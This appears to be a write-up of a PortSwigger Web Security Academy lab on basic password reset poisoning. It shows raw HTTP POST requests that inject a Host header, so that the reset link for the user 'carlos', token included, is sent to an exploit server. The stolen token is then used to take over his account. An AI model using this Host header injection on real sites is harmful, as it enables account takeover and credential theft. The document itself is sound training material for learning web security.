| Field | Detail |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Password Reset Poisoning — Host Header Injection |
| Difficulty | Apprentice |
| Objective | Log in to Carlos's account |
| Note | Carlos carelessly clicks any links in emails he receives; our emails are readable via the exploit server's email client |
Basic Password Reset Poisoning¶
I logged in as wiener:peter, then logged out and tested the forgot-password flow to understand how reset tokens work.
The reset email arrived with a token in the URL:
Requesting another reset confirmed tokens are single-use — the previous one became invalid immediately:
Testing Host header injection by modifying the Host to teto.com:
POST /forgot-password HTTP/2
Host: teto.com
csrf=i79MUZhnivRfq6RFLzm2mGiYRwHCtOtE&username=wiener
The reset link domain changed to teto.com — the server builds the reset URL using the Host header value without validating it. This is the same class of vulnerability as the password reset poisoning via middleware lab, just without a proxy layer: here the Host header itself is trusted directly rather than an X-Forwarded-Host override.
Pointing Host at the exploit server and submitting the request for carlos:
POST /forgot-password HTTP/2
Host: exploit-0a2f0086035b5dd18251656c0136004b.exploit-server.net
csrf=i79MUZhnivRfq6RFLzm2mGiYRwHCtOtE&username=carlos
Carlos received a reset email with a link pointing at our exploit server. Since he clicks everything, he followed it — and the token showed up in the access logs as a path parameter:
Using that token on the real lab domain to set a new password for Carlos:
Logging in as carlos with the new password:
And lab solved